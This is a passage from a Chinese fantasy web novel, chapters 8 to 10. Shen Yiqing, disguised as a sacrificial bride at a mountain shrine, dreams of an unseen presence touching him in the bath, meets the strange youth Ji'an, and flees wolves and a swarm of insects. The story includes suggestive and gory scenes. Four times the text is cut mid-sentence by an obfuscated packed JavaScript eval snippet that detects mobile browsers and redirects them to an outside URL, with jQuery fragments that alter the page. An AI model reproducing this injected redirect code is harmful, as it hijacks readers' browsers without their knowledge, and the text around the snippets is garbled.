蒋常:“……”
-
温热的水汽在木桶边缘凝成细小的水珠,顺着木纹缓缓滚落。
沈沂清用指尖勾着颈间翎羽项链,若有所思,绳细得仿佛轻轻一扯就断,可事实上即便他用匕首去割,绳身始终绷得笔直,连一丝松动的痕迹都没有。
翎羽贴在锁骨处,入水不湿,带着几分异样的凉。沈沂清尝试从头顶脱下,项链就像长在了皮肉上,卡在下颌处纹丝不动,一番折腾下来,反倒先给自己累得够呛。
木桶里的水温舒适得恰到好处,决定替嫁以来的连
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521281|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日疲惫让他撑着眼皮都费力,沈沂清无意识地将头枕向桶沿,手臂搭在桶外,乌青的发丝顺着肩颈滑落,散开在水面上,随着水波轻轻晃荡。
意识沉入混沌前,他还想着要起来擦干身体,可下一秒便坠入了半梦半醒的幻象。
颈间传来一阵轻柔的触感,像是羽毛拂过皮肤,带着若有似无的暖意。沈沂清皱了眉,起初只以为是水汽带来的错觉,可那触感很快向下蔓延,掠过锁骨,停在腰间。
温度比水温更烫,不轻不重,却带着不容抗拒的侵略性。
沈沂清试图睁开眼去看来人是谁,无论怎么用力,视线里始终是一片无尽的黑暗。身体像是被钉在了木桶里,连指尖都动弹不得,只能任由那陌生的触碰在皮肤上游走,每一寸掠过的地方都燃起细微的灼热,与木桶里的水温形成诡异对比。
依稀地,沈沂清还听见有人在呼喊他,不是阿娘常温柔呼唤的“清儿”,也不是晚晚追在他身后喊的“阿兄”。
“清清……清清……”
“我的清清……”
你究竟是谁?
沈沂清的喉咙深处只能发出细碎的闷哼,在空荡的房间里很快被水汽吞没。直到一股强烈的酥麻从尾椎骨猛地炸开,顺着脊椎窜上头顶,他才像被惊雷劈中般,猝然睁开一双漂亮双眸。
视线里还带剩几分模糊,沈沂清胸口剧烈起伏着,呼吸急促得快要喘不过气,脸颊和脖颈泛起大片水红,连耳尖都透着滚烫的热度。
木桶里的水还在轻轻晃荡,颈间的翎羽项链依旧贴在皮肤上。
沈沂清快速扫视了一圈屋内,别说人影了,连半个虫影都没有。可刚才在梦里那触感太真实了,以至于他腰腹以下现在还有难消的余韵。
他应该睡着了一刻钟这样,桶里的热水已经有转凉的趋势。沈沂清抬手要去够搭在木架上的帕子,指尖却蓦地顿住。
视线里,几缕白液正轻飘飘浮在水面,像被揉碎的云絮。
他浑身一僵,彻底不会呼吸了。
这……绝对还在做梦对吧?
下一秒,烛焰叫火吹得偏了身,窗纸上忽然映出个人影,一双眼睛正通过拇指大小的洞口往里面瞧。
沈沂清对上那只有眼白、布满血丝的空洞眸子,先是一愣,还没来得及平复下去的心脏险些当场跳出来。
很快沈沂清就觉得那轮廓瞧着有些眼熟,像在哪见过,可他不过眨眼的功夫,窗外的人影就晃走了。
沈沂清胡乱抓过衣裳套在身上,没完全系好就推开门追了出去。黑影像道鬼魅似的在前头飘,他鞋也顾不上穿,踩着湿滑的石子路紧追不舍,一直追到山神祠后面的竹林,黑影凭空消失了。
四处张望努力寻找之际,沈沂清听见水声,一转头就看见寄安站在池塘里,裤腿都没卷,湿答答的衣料贴在身上,发梢还滴着水。
搁着跳池塘扮演水鬼呢?
“你怎么站在这儿?”沈沂清走过去。
8. 疑云
少年神情显得很懵,抬手抹了把脸上的水,指尖蹭过颊边的红痕,声音有点委屈:“这池塘是活水,我今日在路上还摘了些浆果,本想着来这给哥哥洗了吃,没成想池边苔藓太滑,没注意摔了一跤,果子也都飘走了。”
他说着,往后方指了指,果然能看见几颗果子在水面打转。
确定沈沂清有看到这些“证据”,才将视线重新落回他的身上。
这片竹林并不算繁密,隐约可以看见有光亮从天上和山神祠的方向透过来。沈沂清只披了件里衣,精致得近乎凌厉的锁骨在光影里起落,未拭净的水珠顺着乌发、肩头滚落,将单薄衣料浸得半透,隐隐映出底下淡粉的肌肤,似初绽花瓣裹着一层薄露。
沈沂清提醒对方先上来,可千万别像他一样,年纪轻轻就得了“老寒腿”。
少年整个人像一只湿漉漉的小狗,可怜地甩了一下挂在睫毛上的水珠,“对不起哥哥,都怪我,害得你没有浆果吃了。”
沈沂清头一回遇到分明没有做错任何事情却爱认错的人,更重要的是——
少年啊,你这也太卑微了吧!
既然你喊我一声“哥哥”,也算我半个小弟了,这种容易吃亏的老实人性格绝对要不得。
“一点果子而已,没有你这个人重要。”沈沂清劝道:“下次别再一个人晚上到水边来了,很危险,也幸好今天这里的水不深。”
寄安感觉水可能灌进了他的耳朵,害的他只能听见前一句话,压了压心口像水流一样扭曲的兴奋,不敢相信地问:“哥哥觉得我很重要?”
沈沂清不假思索道:“当然。”生命诚可贵,是个人都重要。
寄安很微妙地笑了:“好,我知道了。”
沈沂清不明白他知道了什么,但看样子应该是将自己的话听进去了,接着又问:“对了,你刚刚有没有看到什么人从这里经过?”
他甚至都怀疑今晚上不是做梦,那个趁他睡着将手伸到他身上来的人,可能就是站在窗外偷看的人,毕竟罪犯都喜欢重返案发现场欣赏自己的杰作。
这南隰山上流氓是真多,但凡让他抓到一个,势必要为民除害,从“根”源上彻底解决问题。
寄安往身下瞥了一眼,什么都没做,却莫名有点凉飕飕的。他说:“我一直在这边,除了哥哥没有看到过其他人。”
沈沂清觉得十之八九是让那人给溜走了。不过这事不是他现在着急就有用的,看少年身上还在往下淌水,不由得在心底感叹自己这个大哥当得还有待提升。
“你跟我来。”
蒋常为了不打乱沈沂清的计划,但又拿捏不准具体进行到了哪一步,心细地送了两套衣裳上来。
沈沂清本来是打算泡完药浴就换回男装的,但寄安是为了给自己洗果子才去池塘边,于是将那套男装让给了他,自己则穿另外一套,或许还有机会将“山神”引出来就地正法。
路上,沈沂清瞧见山神祠周围的树,想到寄安说自己在南隰山上生活了许多年,便随口一问:“这附近的树每到晚上都会变成这样吗?”
他起初没抱多少希望能从少年口中得到太多信息,毕竟少年也是流浪到此处的外来者,平时待在山上基本接触不到人,也就无从所知有关这座山的秘密。
“嗯,从我来的时候就是这样了。”寄安冷淡地往远处斜乜一眼,说:“曾经有人对山灵不敬,便永远留在了这里忏悔自己的罪行。”
沈沂清脚下一顿。
所以这里每一棵进行忏悔的树,生前都曾是一个活生生的人?
那他这两天住在这里,岂不是一言一行都在这些“树人”的注视下?
沈沂清小幅度摇了摇头,暗自否定。应该只是传说罢了,就和山神一样,这世上哪有那么多玄幻的事情。
“……怎么才算对山灵不敬?”
寄安告诉他:“滥捕滥杀,随意砍伐,违背禁忌,这些都是冒犯山灵的行为。”
那还好,沈沂清心想,这些他一项都没干过,顶多摔烂了一只放在神龛上的陶碗。
寄安继续说:“其中最严重的,当属亵渎山神。”
沈沂清:“……”
年轻人说话不要大喘气。
他突然转过身,拍了拍少年的肩膀,半是无奈半是开玩笑道:“看在我救过你的份上,要是我哪天突然变成树了,麻烦给我挖出来种到镇上的沈府去,别让人砍了做成一副棺材板。”
少年跟着笑了。
-
林间风急,腥气先于兽吼扑来。
蒋常握剑的手早已被震得发麻,虎口渗出血丝,混着汗液滑过冰冷的剑身。灰黑色的狼影从枯树后接连窜出,獠牙泛着冷光,低哑的咆哮引得落叶簌簌发抖。
他原本是守在屋外等候沈沂清沐完身的,余光敏锐瞥见一道黑影从祠前疾闪而过,以为对方要对公子不利,当即提剑追去,待追上时才发现,那黑影竟是一只身形硕大的黑鸟。
他刚要转身折返,身后忽然风声大作,一群野狼悄已经无声息地围拢上来。
即便他反应快,迅速拔出佩剑,凭借利落身手与狼群周旋,虽未丧命,手臂却遭狼爪划开一道浅伤。
蒋常满心记挂着另一边沈沂清的安危,不敢恋战,只求尽快脱身,哪曾想这些野狼一个个犹如将生死抛置脑后的亡命之徒,即便被剑刺中仍穷追不舍。
好不容易冲出包围折返山神祠,蒋常准备将这些野狼彻底解决,竟见它们在祠门前齐齐止步,喉咙深处发出呜咽,最终接二连三朝后退去,消失在茫茫夜色。
蒋常将这可疑的一幕看在眼底,甩干净剑尖的血迹后收入剑鞘,转身进入祠内去找沈沂清。
……
“就是这套,你试试看吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521282|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈沂清将那套男装交给寄安。
尽管少年的年纪比他小很多,还营养不良,个子倒是不比他矮多少,蒋常按照他身量带来的衣服少年也能穿上。
寄安接过衣裳,“谢谢哥哥。”
还没穿上,他就笃定这套衣裳沈沂清曾经穿过,而非从铺子里新购来的成衣。上面有一股沈沂清身上特有的香气,他在腰带上嗅到过,尽管因为清洗后已经有些淡了。
替换下湿衣裳,寄安在一堆灰扑扑的旧衣里左找右找,说自己有东西不见了,“应该是不小心掉在水边了,我再过去一趟找找看。”
“很重要的东西吗?”沈沂清主动提出:“这么黑的天,要不我陪你一块过去找,也能快些。”
寄安拒绝了:“不用,也不是很重要,我自己去找就行。哥哥也快点换上衣服吧,还有你的腿,本来就不方便。”
沈沂清身上还只披着一件薄里衣,他闻言低头看了眼,自己这衣衫不整的样子确实不太适合到处跑来跑去,便没硬要跟着出去。
“带上灯,别再不小心摔跤了。要是在外面看到蒋常,可以喊上他,他眼神好使。”
“知道了。”
寄安出去后顺便带上了屋门,脚步无声地迈向祠后,很快出现在塘边的石径上,周身漫着化不开的沉寒。
他垂着眸,在一片粼粼波光中,清晰地映出张与他极度相似的脸,只是水底那张脸白得像浸了霜雪,毫无血色。
水面翻涌起灰黑的浪,困在其中的人披散着黏腻的黑发,看到少年的那一刻,青白的脸在夜色里扭曲成一团,发出一阵嘶哑如砂纸摩擦的尖啸。他双手疯狂捶打水面,却也只溅起一滴微不足道的水珠,堪堪落在少年干净的衣摆处。
少年扫了一眼,倏然,他骨节分明的手抬至胸前,五指微张,池水中的浪头猛地炸开,尖啸戛然而止,整道虚影竟被生生从水里扯了出来,四肢徒劳地挣扎,却挣不脱那股缚住的力量,像提线木偶般被凌空拎在他面前。
“既然你那么不安分,那就永远留在这里吧。”他的声音低沉,裹着层冷。
尾音落时,塘边的泥土里破土生枝,枯褐的枝干以肉眼可见的速度抽长、交错,虬结的枝桠织成一张密网。少年手腕轻扬,那道虚影便被吸进枝桠间,转瞬没了踪迹,只余下那棵新树静静立着,叶尖凝着细碎的冷光,将那点阴魂牢牢锁在其中。
他垂下手,一道黑影从空中俯冲而下,翅尖带过几缕夜风。一只墨羽鸟稳稳落在他的肩头,乌溜溜的眼珠转了转,贴着他的耳畔低鸣。
少年指尖轻轻蹭过鸟羽的软绒,沉默片刻,忽然轻“啊”了一声,尾音里没半分真的吃惊,反倒带着漫不经心的玩味。唇角缓缓勾起一抹浅淡的笑,弧度冷峭却饶有兴致。
低低的呢喃散在夜风里,轻得只有肩头的墨羽鸟能听见:“没想到他命还挺硬的嘛。”
9. 狼袭
沈沂清换上了另一套釉蓝色的女裙。
这套衣服的工艺不如喜服繁杂,但同样精致入微。裙身如浸了月光的深海,腰间花纹随动作轻晃,流转着细腻光泽,整体颜色将他本就白皙的肌肤衬得愈发通透。
他推开门,准备去看看寄安有没有找到丢失的物品,正巧遇上从外面赶回来的蒋常,神色瞧着有几分焦急,手上还带了伤。
蒋常过来路上已经迅速对伤口做了简单处理,他将自己今夜遇到野狼的事情一五一十告诉了沈沂清,包括看到的黑影和狼群在追到山神祠前便落荒而逃的怪异。
沈沂清猜测道:“是因为没法靠近山神祠,还是这里有什么东西或者人让它们不敢靠近?”
一次是巧合,两次就未必了。但沈沂清没立刻说出自己第一晚也遇到了相似的情况。
而他说这话时寄安也已经从塘边回来,听到又有野狼出现时并未表现出多大波澜。
沈沂清注意到这一点,只是悄无声息地收回分出的余光。
“公子,要不您还是尽早随我下山吧,这里并不安全,就算是为了调查祭祀新娘的事,也没有必要以自己的安危作为代价,何况姜夫人她还在家中等着您回去。”
不说后半句话还好,一提到姜慧蓉,沈沂清就想起答应过母亲的话,自己若是多日未回,恐会引得她担惊受怕。
其实沈沂清本来就打算下山的,至于多留一天,更多是抱着赌一把的心理去试探“山神”。
虽说身为祭品的他需在山上待足七日,半途而废视为对山神的不敬,但他都已经做过对山神不敬的事情了,难道还怕多添一件么。
“明日天一亮我们就下山。”
此话一出口,蒋常明显松了口气,好在公子还是在乎姜夫人的。
一旁少年的眼神却暗了一下。
-
翌日一早,天光冉冉浮出。
昨夜泡过药浴之后,沈沂清的腿已经舒服许多,只要不过度使用,基本不会引起不适,顶多就是些许麻胀感。
他有意带少年一起离开南隰山,但蒋常洞察他的意图后,私下里另外劝他:“……他已经在这生活了许多年,久不与人打交道,未必能够融入镇上的新生活,还望公子慎重决定。”
直觉告诉他,若是沈沂清将寄安带回去了,必定是带回去一个祸害。
可惜他现在还没有掌握有力证据,没法立刻拿出来说服沈沂清,只能另辟蹊径,从众多难以站住脚跟的几条里挑出一条稍微不那么离谱的。
实在不行,他再偷偷给寄安塞点钱财,让他自己选择留下。
然而出乎两人意料的是,一直到他们准备离开前,少年都没再出现过,整个山神祠包括周围找遍了也不见他的影子。
蒋常见沈沂清似乎还想继续等人,有些急了:“要不公子我先送您下去吧,之后我再重新上来找他,兴许那时候他就回来了。”
沈沂清知道蒋常身负母亲的重托,若是自己真出了点什么事难辞其咎,便不再为难他,松口答应了先下山的安排,但也没就这么扔下寄安,在桌上给他留了一张字条,这样他看见后好知道该去哪找自己。
怕对方不识字,他还画了图。
沈沂清:“你记得再上来的时候多找一下。”毕竟这可是他第一个小弟,很有潜力的。
蒋常点头:“好。”
他还记得沈沂清在镇上时不喜以真容示人,细心地掏出一块面纱,解释幂篱不方便携带,只能退而求其次准备了这个。
沈沂清微愣,却不是因为嫌弃,很快接过戴上。
二人踏出山神祠的门槛,对面山头便掠来几片浓云,转瞬就掩去头顶日光。
行至一半时,天色已沉得如傍晚一般,风雨欲来。空气里的气味像是大地被水汽唤醒,从土壤深处翻涌出的淡淡土腥,混着些许青草根部的清新。
沈沂清收回目光,脚底因赶路而隐隐发热。他悄悄用指腹压了压左腿,雪白的颈子浮着一层山茶般惊心的红,仍选择了继续加快脚步。
“公子您的腿还能坚持吗?快下雨了,要不我们先躲一下吧。”
“没事,既然决定了下山就快点下去,没准还得及。何况这山里少有人家,一时半会也不好找地方躲避。”
啪嗒——
云层终于兜不住巨大的压力,撕扯开道罅隙,漏出一颗豆大的雨点,砸在树冠叶面,碎成无数细小四处飞溅。
这一下犹如发号施令。
蒋常感受到冰凉,抬手摸了一把脖子后,接着头顶、鼻尖、肩膀都传来了同样的触感。
眼见赶下山的希望愈发渺茫,他停下脚步,正准备出声叫住前方的人,“公子,我们——”
双耳倏然捕捉到一道异样声响,噤声后不及扫视周围,一股铁锈与腐肉混合的腥臭便袭上来。
“咚!”
蒋常喘着粗气看向那头几乎同他一般大小的野狼,浑身血液都在刹那间沸腾起来。
这一下的动静非常大,沈沂清闻声回头。
林子里的光线本就暗得发沉,树影重重叠叠压下来,衬得那幽绿的眼睛亮得发瘆。
一双、两双、三双……沈沂清几乎快数不过来,到处都是!
怎么会有这么多狼,按理说雨天会模糊他们的气息,它们究竟是如何大批量聚集过来的……
现实却没有留给两人太多思索的时间,随着“咔擦”一声树枝被黝黑肉掌压断,为首的狼再次扑上来。
“跑!”沈沂清迅速调转方向,往与狼群包围相反的地方提速,大口大口的空气灌入咽喉,堪比吞入无数刀片,剌得肺部生疼。
本就濒临极限的双腿每迈一步,都像灌了铅般沉得发颤。可身后狼嗥声越来越近,再不跑就只有死在这里的份,他只能咬着牙把痛意往肚子里咽,拼命往前踉跄。
喘息间一滴雨水恰好落到他的嘴唇,被舌尖舔入在口腔化开,带着咸和腥,就像血一样。
沈沂清不由得想起县令那只老狐狸说过的话,说这七日是祭祀的黄道吉日,他特意找人算过的——“令妹能够被选中成为祭祀新娘,是她上辈子修来的福分。”
呵。
他边跑边忍不住在心底骂道:什么黄道吉日,给他开席的忌日还差不多!
回去就找人给老狐狸门口牌匾砸了!
哗——
暴雨如天河倾泻,山
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521283|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风裹着雨如箭劈下。
若是只有蒋常一人,以他如今的身手,一下面对数十头穷凶极恶的野狼是有些吃力,脱困的话却并非难事。
几乎快看不清眼前道路的雨幕下,蒋常放慢脚步始终处在沈沂清后方,隔开了他与狼群。几次袭击擦着后背要害过去,黑衣被划开三道裂口,碎布片在风里打了个旋,混着雨水贴在他背上,将暗红完全藏住,只有被狼爪勾翻的皮肉在动作间隐约露出来。
“公子!”蒋常挥剑格挡下一头狼的撕咬,猛然想起来什么,出声喊道:“竹哨!”
沈沂清立即心领神会,摸出别在腰间的竹哨用力吹响,尖锐的哨音瞬间穿透雨幕,似有直抵天际之势。
距离救援赶来还要一会。这些狼出现的时机太过巧合,偏偏在他们进入疏林区时,连半丛能掩住身子的灌木都没有,一眼望过去尽是空荡荡的草地。
沈沂清不止左腿疼得厉害,另一条腿也马上要断了一样。
噗通——噗通——
生与死的距离肉眼可见地越缩越短,一头黑狼从侧方草丛里跳出来,对视上的刹那,沈沂清双瞳一缩,脚下来不及调整,最后倒向地面摔了一跤。
黑狼就是在这时扑过来的,獠牙却没有落在他身上撕咬,竟是直直绕过他,和另一头狼前后围住了蒋常。
锋利的狼牙撞在冷寒的剑刃上,腥热的风裹着蛮力将蒋常按倒在地,视线里只剩那双泛着贪婪的兽眼。
千钧一发间,一记寒光从斜上方疾射而来,未刺中要害,那狼却晃了晃身子轰然倒地,紧接着双眼涣散、七窍流血,显然是中了剧毒暴毙。
蒋常顺着方向看过去,沈沂清的手还保持在半空中,嗬哧嗬哧剧烈粗喘,随着一口气的呼出才脱力下垂。
还好,还好他事先在匕首上抹了自制的毒粉。
听到哨音的其余侍卫也在这时赶到,一拨人和蒋常对抗野狼争取时间,一拨人将浑身湿透的沈沂清从地上扶起。
“公子再忍耐一下,这附近有一处山洞,我们在里面生了火,即便狼群追过去,看到火也不敢继续踏入。”
沈沂清微微颔首,说自己还剩些力气可以撑住,拒绝了让人背,只是抓着一旁侍卫手臂的力有些重,可能连他自己都没察觉到,而对方也未出声提醒。
野狼几乎全部冲了上来,冷剑刺穿□□的闷响、扑咬的凄厉、獠牙与剑身碰撞的尖锐,身后一片混乱,堪称一场残酷的大围剿。
混乱中,一名侍卫没能躲过野狼的突袭,被狠狠扑倒在地,狼爪直接撕开他的腹部,内脏混着鲜血大量涌出,让几头狼扯得到处都是。
严重的伤势没有让人立即死去,反而延长了痛苦。那侍卫睁大双眼,亲眼看着自己的五脏六腑都被掏出来,求生的本能之下刚想伸手抢回自己的肠子,手就被另一头狼咬住了,直接从臂口扯断。
很快四肢也没了,双眼的位置变成两个血洞窟。
沈沂清听到惨烈的叫声,恰好转头,这一幕直直撞进眼里,雨水将浓重的血腥气卷到他鼻尖,胃里顿时翻江倒海,一阵剧烈的恶心感涌上喉咙。
那人不久前还同他说过话,现在却连尸身都难拼凑完全。
10. 虫潮
众人直至躲进山洞内才得以停下来好好喘一口气。
正中央噼啪燃烧的火焰不仅令狼群不敢再靠近,火光包裹住周身,也筑起一道无形的的坚固保护,逐渐压下众人心头的惊悸。
“外面的狼都已经离开了,但还下着大雨,估计一时半会不会停下。”蒋常将巡视的结果告知众人。
“稳妥起见,我们还是在这里休息一晚比较好,也能防止狼群在附近埋伏。”
除了沈沂清,蒋常算是这帮人里领头的,听到他这么说,众人都没什么异议,将柴火拨得更旺些,烘烤被雨水浇湿的衣裳。
一时间多了好几个光膀子的,若不是考虑到沈沂清还在,怕污了公子的眼睛,可能连裤子也不打算穿。
众人背靠冰冷岩壁,光焰在昏暗里摇摇晃晃,休息了没一会,山洞深处忽然传来细碎的 “窸窣” 声,像潮水般由远及近。有侍卫感到不对劲,举着火把往前探了探,瞧清火光映处,所有人的脸色顿变。
只见洞底的阴影里,正爬出来黑压压一片怪虫,它们指节长短,背甲泛着青黑幽光,头前生着两根尖利的触须,爬动时腹足擦过石面,发出令人牙酸的声响,密密麻麻竟望不到边。
“火!快用火烧!” 蒋常喝喊,众人立刻抽出火把,火焰噼啪舔向虫群,可那些怪虫毫无惧色,顶着火苗径直冲来,背甲遇火微微蜷曲,只短暂停留几息,转瞬又继续往前,半点不伤。
“不行老大,这些虫子根本不怕火!”
虫群转眼便涌到脚边,不少侍卫躲闪不及,小腿、手背被怪虫的触须划开血口,尖刺咬入皮肉时,只觉一阵钻心的麻疼。山洞内乱作一团,火把掉在地上,光焰缩成小小的一点。
沈沂清努力辨认这些虫子,试图寻找破解之法,可记忆中无论是哪一种都无法与眼前的对应上。
有人猜测虫子既然不怕火,那肯定是怕水,于是往山洞外退,雨水顷刻间浇灭手中火把,只剩一缕烟气飘散,虫群仍紧追不舍,更发了狂似的往人身上爬,不过须臾,口器就咬得一只手血肉模糊。
“啊啊啊啊——”
既不怕火,也不怕水……那究竟什么是它们真正害怕的?
有几只虫子也爬到了沈沂清身边,触须都快碰到衣摆,却忽然顿住,晃了晃尖须后调转方向,绕着他往旁爬去,连半分靠近的意思都没有。
沈沂清发现这一点,低头看着脚边绕开的虫群,心头满是纳闷,难道他身上有什么与其他人不同之处?
他下意识抬手摸向衣襟、袖摆,想找出身上的异样,指尖刚触到腰间,陡然摸到个粗粝的东西。
一根手腕粗的藤蔓缠在他腰上,还未细想清楚从何而来,身边的岩缝内再次伸出藤蔓缠住他的小腿。
“公子小心!”
一声急喝自身侧传来,沈沂清已经无法做出反应,只觉小腿一紧,一股蛮力便拽着他往山洞深处拖去。
藤身内侧光滑,表面却缠满细密的倒刺,死死勒住他的小腿和腰腹。沈沂清挣了两下,倒刺扎进皮肉,疼得他闷哼一声,浑身变得无力,眼看就要被拖进洞底的浓黑里,蒋常纵身追上来,手中长剑寒光一闪,朝着藤蔓狠狠劈下!
“咔嚓” 几声响,勒着腰腹和小腿的藤蔓断裂,断口处渗出黏腻的深绿汁液,残余的藤蔓缩了缩,飞快钻回岩角的阴影里,没了踪迹。
蒋常忙扶稳脚底虚浮的沈沂清,急声问:“公子您没事吧!?”
沈沂清摇头,低头扫了眼腿上被藤蔓勒出的红痕,又望向洞底那片浓黑,感觉这画面太过熟悉。
这山洞深处似乎藏着更诡异的东西,而那东西是专门冲着自己来的。
方才被斩断的几截藤蔓掉在了地上,有虫子爬过,身体在接触到深绿汁液后降低了速度,最后一动不动。
“是藤汁!”沈沂清激动地抓住蒋常,“这些虫子的弱点是藤汁。”
蒋常也看清了躺在藤汁周围失去威胁的虫子,当即将藤蔓砍成更多段以便藤汁流出,喊来其他人洒向虫群,终于控制住失控的局面。
确定虫潮不再有反扑的可能,所有人都精疲力尽地松了口气,互相帮着处理伤势,万幸无一人丧命。
蒋常拿过自己已经烘干的外衣走过来,递给还穿着一身湿衣裳的沈沂清,双臂肌肉线条在火光的映衬下散发出浓郁的雄性气概,后背的伤已经做了包扎。
“我这衣裳已经烘干了,公子若不嫌弃就先换上吧。”
“没事不用。”沈沂清摆了摆手,“我身上也快干了。”
别人都是脱下衣裳烘干,他却是连衣服带人一起烘。
倒不是因为羞耻,在场都是男人,但他实在没有在人前展露身体的坦然,尤其是左腿。
蒋常移开视线,不知怎地语气有些不自然,坚持道:“公子还是换上吧,小心着凉。”
沈沂清从他语气里品出不对,这才抬起头来。他身上不比其他人好到哪去,之前蒋常给的面纱早就掉在半路上,釉蓝色的裙裾叫泥水模糊了原本的色彩,几处手绣花纹也让方才的藤蔓勾出丝线,滑稽地飘在裙边。
布料吸饱了水,沉甸甸地贴覆在身上,将身形勾勒得愈发清晰,底下身子在朦胧水纱里隐隐显形,连带着腰侧的软肉弧度都被浸得温软分明。
沈沂清捂了一下眼睛,发誓女装这种事情有两次就够了,绝对不会再有下一次。
等他换完衣服回来,蒋常已经帮忙将裙子挂到用几根树枝支起来的简易架子上。
“今日在路上遇害的那名侍卫叫什么名字?”
蒋常拨了拨火,转过来:“回公子,没名字。”
“怎么可能没名字?”沈沂清挑了一下眉,“就算是镇上卖猪肉的王老板,不知道他本名的也会称呼他为隔壁老王。”
蒋常解释了一遍:“他姓梅,叫梅鸣自。”
沈沂清:“……”
蒋常看穿他的目的,开口宽慰道:“其实公子不必为此自责,从我们答应姜夫人上山的那一刻起,就已经将生死置之度外了。”
沈沂清向来不是喜欢将心事挂在嘴边提起的人,但当他心情不好时,眉头会无意识向中间微微聚紧,方才他一个人坐在火边出神的时候蒋常就注意到了。
“等回到府上,我去账房拨些银两给他的家人。”人是为了救他而死,沈沂清决定为对方做些什么,否则太说不过去。
“不用麻烦。”蒋常却说:“他是六岁被卖进暗卫营的,早就已经没有家人。”
“可有心仪的姑娘?”
“没听他说过,应该是没有的。”
“那小金库总有吧,我让人收拾一下给他烧到地府去。”
“呃……”蒋常的表情明显有些尴尬,“也没有。”
“……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521284|203320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
三无人员?
沈沂清突然就懂得阿娘为何会选择找他们过来了。
-
蒋常是个粗人,胜在性子耿直,对沈沂清更是没有丝毫欺瞒。和他聊了一会,沈沂清的心情确实变好许多。
眼见裙子烘干了,沈沂清去重新换上,随后将蒋常的衣服还回去,毕竟总不好真叫对方接下来光裸着回镇上。
经历过狼群和虫潮,所有人都不敢再掉以轻心,却也只能捱到天明才能下山。
到了晚上休息,加上蒋常一共还剩下八名侍卫,每一个时辰换两人守夜。
山洞内的条件已经不能用简陋来形容了,因为评价一件事物的好坏是建立在这件事物存在的基础上,而这里什么都没有。
沈沂清找了个石头不那么硌人的角落靠着,他傍晚喝了一些烧煮的热水暖身子,明明只有几小口,后半夜却还能因此醒来。
守夜的人刚好轮到蒋常,看见他一个人出去,先是感到不解,最后不放心地跟了上去。靴底碾过湿苔,气息压得比山风还轻。
雨后的月光像淬了银的纱,漫过那人乌黑的发梢,顺着纤瘦的肩线淌下来。风动时裙摆翻飞,露出来的手腕皓白如瓷,连垂在身侧的指尖都泛着莹润的光。
蒋常喉结滚了滚,觉得这画面足够刻进玉帛里藏一辈子,发现沈沂清出来是为了什么,又慌忙别过脸,谨遵非礼勿视。
片刻后,沈沂清本打算原路回去,却在空气里嗅到一股腐烂的味道。他顺着风向望过去,离他不过十步远的位置,躺着一只被猛禽开膛剖肚的死兔子,胸腔内密密麻麻爬满了乳白色肉蛆。
好不容易从脑海里挖走的记忆再度涌上来,直叫胃部翻江倒海。沈沂清终是没忍住弯下腰,捂着嘴干呕了起来,好不容易缓过来,见西面有条小溪,走过去掬起一捧水往脸上泼。
月光将他整个清瘦的身体裹住,犹如覆上一层隔绝外界的膜。
蒋常估摸着时间,谁料一转身,人却没了影子,在附近找了一圈也没看到。
难道公子已经先回去了?
可即便如此,以他的听力,也不该半点都无所察觉才是。
蒋常前脚刚折返回洞内,身后便传来震耳欲聋的巨响,洞口的岩石应声轰然坍塌,碎石裹挟着尘土滚滚坠落,不过眨眼的功夫,洞口便被严严实实地堵死,连半缕光亮都再难渗进洞内。
原本倚着石壁歇憩的侍卫们都被这动静惊得起身,手中的兵刃瞬间出鞘,目光齐齐凝向被封死的洞口,神色俱是一惊。
……
危崖临空,罡风卷着山雾漫过嶙峋石尖,男人一袭黑红长袍立在岩巅,衣面红纹如焰缠黑缎。
他指尖漫不经心地叩着掌心,节奏轻缓,被风掀起的衣袂弯出慵懒的弧度,眉眼间漾着藏不住的愉悦。
忽有振翅声穿雾而来,一只墨羽鸟精准落进他摊开的掌心,羽衣油亮泛着暗泽,尖喙轻啄他的指腹,亲昵又驯顺。
男人低笑出声,指腹下压拂过鸟羽细腻的纹理,动作轻缓却带着不容置喙的掌控。墨羽鸟乖乖敛了翅,伏在他掌心不动。
